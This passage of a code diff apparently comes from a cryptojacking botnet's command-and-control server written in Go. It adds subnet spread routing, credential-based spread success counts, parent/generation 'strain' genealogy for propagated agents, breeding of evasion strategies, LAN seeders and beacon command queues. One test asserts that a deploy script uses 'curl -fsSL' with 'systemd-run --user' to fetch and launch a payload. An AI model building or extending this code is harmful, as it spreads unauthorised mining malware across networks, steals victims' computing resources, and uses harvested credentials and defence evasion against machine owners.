+	if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
+		t.Fatalf("script missing query suffix: %s", plan.Script)
+	}
+}
+
+func TestDeployPlanLinuxLOTLLane(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
+	}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.JoinLane != "linux_lotl" || plan.Script == "" {
+		t.Fatalf("plan=%+v", plan)
+	}
+	for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
+	}
+}
+
+func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
+	t.Helper()
+	dir := t.TempDir()
+	database, err := dbpkg.New(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	buildDir := filepath.Join(dir, "builds", "b1")
+	if err := os.MkdirAll(buildDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	artifact := filepath.Join(buildDir, "worker.exe")
+	if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
+	}); err != nil {
+		t.Fatal(err)
+	}
+	cfgPath := filepath.Join(dir, "config.json")
+	if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	return NewDeployPlanHandler(database, dir, projectRoot,
+		func() string { return "http://127.0.0.1:8989" },
+		func() string { return "fleet-test" },
+		func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
+	)
+}

server/internal/api/spreadrouter_bridge.go

@@ -0,0 +1,177 @@
+package api
+
+import (
+	"strings"
+
+	"crypto-miner-server/internal/clearance"
+	"crypto-miner-server/internal/spreadrouter"
+)
+
+// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
+func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
+	in := spreadrouter.Input{
+		TargetSubnets: targetSubnets,
+		RequestedLane: strings.TrimSpace(requestedLane),
+	}
+	if hub == nil {
+		return in
+	}
+
+	for _, sess := range sessions {
+		if sess == nil {
+			continue
+		}
+		snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
+		for i, hop := range sess.Hops {
+			if hop == nil {
+				continue
+			}
+			subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
+			if subnet == "" && hub.db != nil {
+				if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
+					subnet = spreadrouter.SubnetFromIP(ag.IP)
+				}
+			}
+			snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
+				AgentID:   hop.AgentID,
+				AgentName: hop.AgentName,
+				Subnet:    subnet,
+				SessionID: sess.ID,
+				HopIndex:  i,
+				Connected: hub.isAgentConnected(hop.AgentID),
+			})
+		}
+		for _, host := range serviceGraphList(sess.ServiceGraph) {
+			sub := spreadrouter.NormalizeSubnet(host.Subnet)
+			if sub == "" {
+				sub = spreadrouter.SubnetFromIP(host.Host)
+			}
+			if sub == "" {
+				continue
+			}
+			agentID := strings.TrimSpace(host.AgentID)
+			if agentID == "" && len(snap.Hops) > 0 {
+				agentID = snap.Hops[len(snap.Hops)-1].AgentID
+			}
+			snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
+				Subnet:  sub,
+				AgentID: agentID,
+				Hosts:   []string{host.Host},
+			})
+		}
+		in.Sessions = append(in.Sessions, snap)
+	}
+
+	hub.mu.RLock()
+	connected := make([]string, 0, len(hub.agents))
+	for id, conn := range hub.agents {
+		if conn == nil {
+			continue
+		}
+		connected = append(connected, id)
+	}
+	hub.mu.RUnlock()
+	for _, id := range connected {
+		if hub.db == nil {
+			continue
+		}
+		ag, err := hub.db.GetAgent(id)
+		if err != nil || ag == nil {
+			continue
+		}
+		latency := 0
+		if ag.LatencyMs != nil {
+			latency = *ag.LatencyMs
+		}
+		clearanceLevel := clearance.L0
+		if hub.clearance != nil {
+			clearanceLevel = hub.clearance.Level(id)
+		}
+		in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
+			AgentID:   id,
+			AgentName: ag.Name,
+			Subnet:    spreadrouter.SubnetFromIP(ag.IP),
+			Clearance: clearanceLevel,
+			LatencyMs: latency,
+			JoinLane:  strings.TrimSpace(ag.JoinLane),
+			Connected: true,
+		})
+	}
+
+	in.LaneSuccess = collectLaneSuccessStats(hub)
+	return in
+}
+
+func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
+	if hub == nil {
+		return nil
+	}
+	type key struct {
+		subnet string
+		lane   string
+	}
+	counts := make(map[key]int)
+
+	hub.mu.RLock()
+	connected := make([]string, 0, len(hub.agents))
+	for id, conn := range hub.agents {
+		if conn == nil {
+			continue
+		}
+		connected = append(connected, id)
+	}
+	hub.mu.RUnlock()
+	for _, id := range connected {
+		if hub.db == nil {
+			continue
+		}
+		ag, err := hub.db.GetAgent(id)
+		if err != nil || ag == nil {
+			continue
+		}
+		lane := strings.TrimSpace(ag.JoinLane)
+		if lane == "" {
+			continue
+		}
+		sub := spreadrouter.SubnetFromIP(ag.IP)
+		if sub == "" {
+			continue
+		}
+		counts[key{subnet: sub, lane: lane}]++
+	}
+
+	if hub.db != nil {
+		if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
+			for _, row := range rows {
+				if row.SuccessCount <= 0 {
+					continue
+				}
+				sub := spreadrouter.NormalizeSubnet(row.Subnet)
+				counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
+			}
+		}
+	}
+
+	var out []spreadrouter.LaneSuccessStat
+	for k, n := range counts {
+		out = append(out, spreadrouter.LaneSuccessStat{
+			Subnet:   k.subnet,
+			JoinLane: k.lane,
+			Success:  n,
+		})
+	}
+	return out
+}
+
+func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
+	if handler == nil {
+		return nil
+	}
+	handler.mu.Lock()
+	defer handler.mu.Unlock()
+	out := make([]*TraceSession, 0, len(handler.sessions))
+	for _, sess := range handler.sessions {
+		out = append(out, sess)
+	}
+	return out
+}

server/internal/api/strategy_auth_test.go

@@ -82,6 +82,20 @@ func TestAuthResponseOmitsAdaptiveStrategyWhenAIControlEnabled(t *testing.T) {
 	if _, ok := payload["adaptive_strategy"]; ok {
 		t.Fatal("adaptive_strategy must be omitted when ai_control_enabled is true")
 	}
+	raw, ok := payload["spread_temperament"]
+	if !ok {
+		t.Fatal("expected spread_temperament in auth_response when ai_control_enabled")
+	}
+	data, _ := json.Marshal(raw)
+	var temperament struct {
+		TierOrder []string `json:"tier_order"`
+	}
+	if err := json.Unmarshal(data, &temperament); err != nil {
+		t.Fatal(err)
+	}
+	if len(temperament.TierOrder) == 0 {
+		t.Fatalf("empty spread_temperament: %+v", temperament)
+	}
 }
 
 func repeatChar(c byte, n int) string {

server/internal/api/websocket.go

@@ -14,6 +14,7 @@ import (
 	"time"
 
 	"crypto-miner-server/internal/alerts"
+	fleetai "crypto-miner-server/internal/ai"
 	"crypto-miner-server/internal/atlas"
 	"crypto-miner-server/internal/db"
 	"crypto-miner-server/internal/models"
@@ -158,9 +159,12 @@ type WSHub struct {
 	agentServiceDiscover map[string]cachedServiceDiscover
 	agentLiveTelemetry      map[string]map[string]interface{}
 	agentInheritedPhenotype map[string]strategy.InheritedPhenotype
+	agentSubnet             map[string]string
+	breedingRegistry        *strategy.BreedingRegistry
 	serverPolicy            ServerPolicy
 	adaptiveEngine  *strategy.AdaptiveEngine
 	failureAtlas    *atlas.FailureAtlas
+	subnetImmune    *atlas.SubnetImmune
 	pingIntervalSec int
 	fleetSecret     string // baked into forged agents; verified on WS connect
 	eventNotifier   *alerts.Notifier
@@ -205,6 +209,8 @@ func NewWSHub(database *db.Database) *WSHub {
 		agentServiceDiscover:  make(map[string]cachedServiceDiscover),
 		agentLiveTelemetry:      make(map[string]map[string]interface{}),
 		agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
+		agentSubnet:             make(map[string]string),
+		breedingRegistry:        strategy.NewBreedingRegistry(),
 		pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
 		beaconLastSeen:      make(map[string]time.Time),
 		beaconCmdQueue:      make(map[string][]BeaconCommand),
@@ -573,6 +579,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				delete(h.agents, agentID)
 				delete(h.agentConfigs, agentID)
 				delete(h.agentLogs, agentID)
+				delete(h.agentSubnet, agentID)
 				h.mu.Unlock()
 				if h.aiHandler != nil {
 					h.aiHandler.RemoveEngine(agentID)
@@ -647,6 +654,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			UTM              string `json:"utm"`
 			LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
 			JoinLane             string `json:"join_lane,omitempty"`
+			ParentAgentID        string `json:"parent_agent_id,omitempty"`
+			SpreadGeneration     int    `json:"spread_generation,omitempty"`
+			SpreadStrain         string `json:"spread_strain,omitempty"`
+			FleetRole            string `json:"fleet_role,omitempty"`
+			SeederMode           bool   `json:"seeder_mode,omitempty"`
 		}
 			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
 				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -802,6 +814,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				USBSpread:    auth.USBSpread,
 				Campaign:     coalesceStr(auth.Campaign, auth.UTM),
 				JoinLane:     strings.TrimSpace(auth.JoinLane),
+				ParentAgentID:    strings.TrimSpace(auth.ParentAgentID),
+				SpreadGeneration: auth.SpreadGeneration,
+				SpreadStrain:     strings.TrimSpace(auth.SpreadStrain),
 				Capabilities: &caps,
 			}
 
@@ -847,8 +862,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.mu.Lock()
 			startPing = true // fresh connection after displacing old one
 		}
+		domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
 		ac := &AgentConnection{AgentID: agentID, Conn: conn}
 		h.agents[agentID] = ac
+		h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
 		h.mu.Unlock()
 
 		h.FlushBeaconPoliciesToWS(agentID)
@@ -895,16 +912,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 			}
 			resp["triple_onion_policy"] = top
-			domainJoined := false
+			if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
-			if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
+				resp["spread_policy"] = map[string]interface{}{
-				domainJoined = true
+					"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
+					"hashrate_gate_hps":        policy.HashrateGateHPS,
+				}
 			}
+			resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
 			fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
 			var inherited *strategy.InheritedPhenotype
 			if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
 				pheno := strategy.PhenotypeFromStored(*stored)
 				inh := pheno.ToInherited()
 				inherited = &inh
+			} else if h.breedingRegistry != nil {
+				if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
+					inh := bred.ToInherited()
+					inherited = &inh
+				}
+			}
+			if inherited != nil {
+				inh := *inherited
 				h.mu.Lock()
 				h.agentInheritedPhenotype[agentID] = inh
 				h.mu.Unlock()
@@ -938,11 +966,32 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 				resp["adaptive_strategy"] = adaptive
 			}
+			if policy.AIControlEnabled {
+				resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
+			}
 			if h.clearance != nil {
 				level := h.clearance.InitAgent(agentID, agent)
 				resp["clearance_level"] = level
 				agent.ClearanceLevel = level
 			}
+			bakedRole := normalizeFleetRole(auth.FleetRole)
+			if auth.SeederMode {
+				bakedRole = "seeder"
+			}
+			h.storeAgentFleetRole(agentID, bakedRole)
+			if policy.FleetRolesEnabled {
+				seederCapable := auth.SeederMode || bakedRole == "seeder"
+				hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
+				if hint != "" {
+					resp["fleet_role_hint"] = hint
+					h.storeAgentFleetRole(agentID, hint)
+				}
+				if hint != "seeder" {
+					if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
+						resp["lan_seeders"] = seeders
+					}
+				}
+			}
 			return resp
 		}())})
 
@@ -1072,6 +1121,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
 			StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
 			JoinLane      string `json:"join_lane,omitempty"`
+			ParentAgentID string `json:"parent_agent_id,omitempty"`
+			SpreadGeneration int `json:"spread_generation,omitempty"`
+			SpreadStrain  string `json:"spread_strain,omitempty"`
+			FleetRole        string  `json:"fleet_role,omitempty"`
+			SeedPressure     float64 `json:"seed_pressure,omitempty"`
+			HashratePressure float64 `json:"hashrate_pressure,omitempty"`
 			NetworkHints  json.RawMessage `json:"network_hints,omitempty"`
 			VulnFindings  []struct {
 				CVEID                     string `json:"cve_id"`
@@ -1232,6 +1287,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			if stats.JoinLane != "" {
 				broadcast["join_lane"] = stats.JoinLane
 			}
+			if stats.ParentAgentID != "" {
+				broadcast["parent_agent_id"] = stats.ParentAgentID
+			}
+			if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
+				broadcast["spread_generation"] = stats.SpreadGeneration
+			}
+			if stats.SpreadStrain != "" {
+				broadcast["spread_strain"] = stats.SpreadStrain
+			}
+			if stats.FleetRole != "" {
+				broadcast["fleet_role"] = stats.FleetRole
+			}
+			if stats.SeedPressure > 0 {
+				broadcast["seed_pressure"] = stats.SeedPressure
+			}
+			if stats.HashratePressure > 0 {
+				broadcast["hashrate_pressure"] = stats.HashratePressure
+			}
 			if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
 				var hints interface{}
 				if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
@@ -1270,8 +1343,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
 			h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
 			h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
+			h.ingestFleetPressure(agentID, broadcast)
 			h.queueStatsBroadcast(broadcast)
 
+		case "scout_report":
+			if agentID == "" {
+				continue
+			}
+			var report struct {
+				JoinLane     string `json:"join_lane"`
+				ServiceCount int    `json:"service_count"`
+				ScoutMode    bool   `json:"scout_mode"`
+			}
+			if err := json.Unmarshal(msg.Payload, &report); err != nil {
+				continue
+			}
+			if !report.ScoutMode {
+				continue
+			}
+			ag, _ := h.db.GetAgent(agentID)
+			platform, ip := "", ""
+			var firewallDomain *bool
+			if ag != nil {
+				platform = ag.Platform
+				ip = ag.IP
+				firewallDomain = ag.FirewallDomain
+			}
+			h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
+
 		case "ai_snapshot":
 			if agentID == "" {
 				continue
@@ -1472,6 +1571,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.ingestStrategyFromPayload(agentID, payload)
 			h.queueStatsBroadcast(payload)
 
+		case "atlas_gossip":
+			if agentID == "" {
+				continue
+			}
+			h.handleAgentAtlasGossip(agentID, msg.Payload)
+
 		case "command_result":
 			if agentID == "" {
 				continue
@@ -1810,6 +1915,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
 
 // SendAgentCommand sends a remote command to an agent.
 func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
+	if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
+		return err
+	}
 	if h.isAgentConnected(agentID) {
 		payload := map[string]interface{}{"action": action}
 		for k, v := range args {
@@ -2070,6 +2178,75 @@ func (h *WSHub) tryPublishWinningPhenotype(
 	if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
 		log.Printf("[phenotype] publish: %v", err)
 	}
+	if h.breedingRegistry != nil {
+		h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
+			Fingerprint:     fp.Key(),
+			SpreadLane:      strings.TrimSpace(joinLane),
+			TierOrder:       tierOrder,
+			ActiveTier:      strings.TrimSpace(activeTier),
+			PeakHashrate:    miningHashrate,
+			FailedTiers:     strategy.FailedTierSet(stratAttempts),
+			SourceAgentName: ag.Name,
+		})
+	}
+}
+
+func (h *WSHub) tryPublishScoutPhenotype(
+	agentID, platform, ip string,
+	firewallDomain *bool,
+	joinLane string,
+	serviceCount int,
+) {
+	if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
+		return
+	}
+	ag, err := h.db.GetAgent(agentID)
+	if err != nil {
+		return
+	}
+	if platform == "" {
+		platform = ag.Platform
+	}
+	if ip == "" {
+		ip = ag.IP
+	}
+	if firewallDomain == nil {
+		firewallDomain = ag.FirewallDomain
+	}
+	domainJoined := firewallDomain != nil && *firewallDomain
+	fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
+	lane := strings.TrimSpace(joinLane)
+	if lane == "" {
+		lane = "service_graph"
+	}
+	tierOrder := []string{"service_graph", "discover_and_join"}
+	if lane != "service_graph" && lane != "discover_and_join" {
+		tierOrder = append(tierOrder, lane)
+	}
+	pheno := strategy.FleetPhenotype{
+		SourceAgentID:   agentID,
+		SourceAgentName: ag.Name,
+		Fingerprint:     fp.Key(),
+		OS:              fp.GOOS,
+		SpreadLane:      lane,
+		ActiveTier:      "service_graph",
+		TierOrder:       tierOrder,
+		PeakHashrate:    0,
+		CreatedAt:       time.Now().UTC(),
+	}
+	if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
+		log.Printf("[phenotype] scout publish: %v", err)
+	}
+	if h.breedingRegistry != nil {
+		h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
+			Fingerprint:     fp.Key(),
+			SpreadLane:      lane,
+			TierOrder:       tierOrder,
+			ActiveTier:      "service_graph",
+			PeakHashrate:    float64(serviceCount),
+			SourceAgentName: ag.Name,
+		})
+	}
 }
 
 func parseStringSliceField(raw interface{}) []string {

server/internal/api/websocket_test.go

@@ -499,6 +499,49 @@ func TestAgentNamePreservedOnReconnect(t *testing.T) {
 	}
 }
 
+func TestAuthUpsertSpreadGenealogy(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id":          "genealogy-agent",
+		"hostname":          "spread-child",
+		"version":           "1.0",
+		"parent_agent_id":   "parent-uuid-1234",
+		"spread_generation": 2,
+		"spread_strain":     "#aabbcc",
+		"join_lane":         "winrm",
+	})
+	var body map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["success"] != true {
+		t.Fatalf("auth should succeed (genealogy is telemetry only): %+v", body)
+	}
+
+	time.Sleep(30 * time.Millisecond)
+
+	agent, err := database.GetAgent("genealogy-agent")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if agent.ParentAgentID != "parent-uuid-1234" {
+		t.Errorf("parent_agent_id = %q", agent.ParentAgentID)
+	}
+	if agent.SpreadGeneration != 2 {
+		t.Errorf("spread_generation = %d", agent.SpreadGeneration)
+	}
+	if agent.SpreadStrain != "#aabbcc" {
+		t.Errorf("spread_strain = %q", agent.SpreadStrain)
+	}
+}
+
 // TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
 // when it was never customised (name == hostname, i.e. the default).
 // TestCommandResultBroadcastToDashboard is the critical end-to-end test that

server/internal/api/ws_beacon_integration_test.go

@@ -0,0 +1,567 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/gorilla/websocket"
+)
+
+// TestIntegrationAuthStatsTickStatsBatchEndToEnd verifies auth → stats tick →
+// coalesced stats_batch delivery to a dashboard WebSocket client.
+func TestIntegrationAuthStatsTickStatsBatchEndToEnd(t *testing.T) {
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(dashSrv.Close)
+	dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	t.Cleanup(func() { _ = dashConn.Close() })
+
+	type batchResult struct {
+		updates []map[string]interface{}
+		err     string
+	}
+	batchCh := make(chan batchResult, 1)
+	go func() {
+		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				batchCh <- batchResult{err: err.Error()}
+				return
+			}
+			if msg.Type != "stats_batch" {
+				continue
+			}
+			var body struct {
+				Updates []json.RawMessage `json:"updates"`
+			}
+			if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
+				batchCh <- batchResult{err: parseErr.Error()}
+				return
+			}
+			updates := make([]map[string]interface{}, 0, len(body.Updates))
+			for _, raw := range body.Updates {
+				var u map[string]interface{}
+				if json.Unmarshal(raw, &u) != nil {
+					continue
+				}
+				updates = append(updates, u)
+			}
+			batchCh <- batchResult{updates: updates}
+			return
+		}
+	}()
+
+	agentID := "auth-stats-agent"
+	conn := connectTestAgent(t, hub, agentID)
+
+	statsPayload, _ := json.Marshal(map[string]interface{}{
+		"hashrate_15s":     42.0,
+		"hashrate_1m":      40.0,
+		"hashrate_15m":     38.0,
+		"shares_submitted": 3,
+		"shares_accepted":  2,
+		"cpu_usage_pct":    11.0,
+		"memory_usage_pct": 22.0,
+		"uptime_seconds":   120,
+		"mining_hashrate":  42.0,
+		"lotl_tier":        "cpu_inprocess",
+		"parent_agent_id":  "parent-abc",
+		"spread_generation": 1,
+		"spread_strain":    "#112233",
+	})
+	if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
+		t.Fatal(err)
+	}
+	stopStatsBatchTimer(hub)
+	hub.flushStatsBatch()
+
+	select {
+	case r := <-batchCh:
+		if r.err != "" {
+			t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
+		}
+		if len(r.updates) != 1 {
+			t.Fatalf("expected 1 update, got %d: %+v", len(r.updates), r.updates)
+		}
+		u := r.updates[0]
+		if u["agent_id"] != agentID {
+			t.Errorf("agent_id = %v", u["agent_id"])
+		}
+		if u["hashrate_15s"] != 42.0 {
+			t.Errorf("hashrate_15s = %v", u["hashrate_15s"])
+		}
+		if u["mining_hashrate"] != 42.0 {
+			t.Errorf("mining_hashrate = %v", u["mining_hashrate"])
+		}
+		if u["lotl_tier"] != "cpu_inprocess" {
+			t.Errorf("lotl_tier = %v", u["lotl_tier"])
+		}
+		if u["parent_agent_id"] != "parent-abc" {
+			t.Errorf("parent_agent_id = %v", u["parent_agent_id"])
+		}
+		if u["spread_generation"] != float64(1) {
+			t.Errorf("spread_generation = %v", u["spread_generation"])
+		}
+		if u["spread_strain"] != "#112233" {
+			t.Errorf("spread_strain = %v", u["spread_strain"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for stats_batch after auth+stats tick")
+	}
+
+	agent, err := database.GetAgent(agentID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if agent.Status != "online" {
+		t.Errorf("agent status = %q, want online", agent.Status)
+	}
+	if agent.Hashrate15s != 42.0 {
+		t.Errorf("db hashrate_15s = %v", agent.Hashrate15s)
+	}
+}
+
+// TestIntegrationBeaconRegistrationHeartbeatLifecycle covers HTTPS beacon
+// registration, heartbeat reachability, queued command delivery, and result relay.
+func TestIntegrationBeaconRegistrationHeartbeatLifecycle(t *testing.T) {
+	resetAuthState(t)
+	const secret = "beacon-lifecycle-secret"
+	SetAgentPathSecret(secret)
+
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetFleetSecret(secret)
+
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(dashSrv.Close)
+	dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	t.Cleanup(func() { _ = dashConn.Close() })
+
+	beaconHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
+	beaconResultHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeaconResult))
+
+	postBeacon := func(agentID, hostname string, hashrate float64) *httptest.ResponseRecorder {
+		t.Helper()
+		body, _ := json.Marshal(map[string]interface{}{
+			"agent_id": agentID,
+			"hostname": hostname,
+			"version":  "1.0",
+			"stats": map[string]interface{}{
+				"hashrate_15s": hashrate,
+				"hashrate_1m":  hashrate,
+				"hashrate_15m": hashrate,
+			},
+		})
+		req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
+		req.Header.Set("X-Fleet-Secret", secret)
+		rec := httptest.NewRecorder()
+		beaconHandler.ServeHTTP(rec, req)
+		return rec
+	}
+
+	agentID := "beacon-new-agent"
+	rec := postBeacon(agentID, "BEACON-HOST", 55.0)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("first beacon: %d %s", rec.Code, rec.Body.String())
+	}
+	agent, err := database.GetAgent(agentID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if agent.Name != "BEACON-HOST" {
+		t.Errorf("registered name = %q, want BEACON-HOST", agent.Name)
+	}
+	if !hub.isAgentBeaconReachable(agentID) {
+		t.Fatal("agent should be beacon-reachable after first heartbeat")
+	}
+
+	rec = postBeacon(agentID, "BEACON-HOST", 60.0)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("second beacon heartbeat: %d", rec.Code)
+	}
+	if !hub.EnqueueBeaconCommand(agentID, "pause", nil) {
+		t.Fatal("enqueue pause should succeed while beacon reachable")
+	}
+
+	rec = postBeacon(agentID, "BEACON-HOST", 65.0)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("beacon with commands: %d", rec.Code)
+	}
+	var beaconResp beaconResponse
+	if err := json.Unmarshal(rec.Body.Bytes(), &beaconResp); err != nil {
+		t.Fatal(err)
+	}
+	if len(beaconResp.Commands) != 1 || beaconResp.Commands[0].Action != "pause" {
+		t.Fatalf("expected pause command, got %+v", beaconResp.Commands)
+	}
+
+	type cmdResult struct {
+		body map[string]interface{}
+		err  string
+	}
+	resultCh := make(chan cmdResult, 1)
+	go func() {
+		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				resultCh <- cmdResult{err: err.Error()}
+				return
+			}
+			if msg.Type != "command_result" {
+				continue
+			}
+			var body map[string]interface{}
+			if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
+				resultCh <- cmdResult{err: parseErr.Error()}
+				return
+			}
+			if body["transport"] != "https_beacon" {
+				continue
+			}
+			resultCh <- cmdResult{body: body}
+			return
+		}
+	}()
+
+	resultBody, _ := json.Marshal(map[string]interface{}{
+		"agent_id": agentID,
+		"action":   "pause",
+		"success":  true,
+		"message":  "paused via beacon",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon/result", bytes.NewReader(resultBody))
+	req.Header.Set("X-Fleet-Secret", secret)
+	rec = httptest.NewRecorder()
+	beaconResultHandler.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
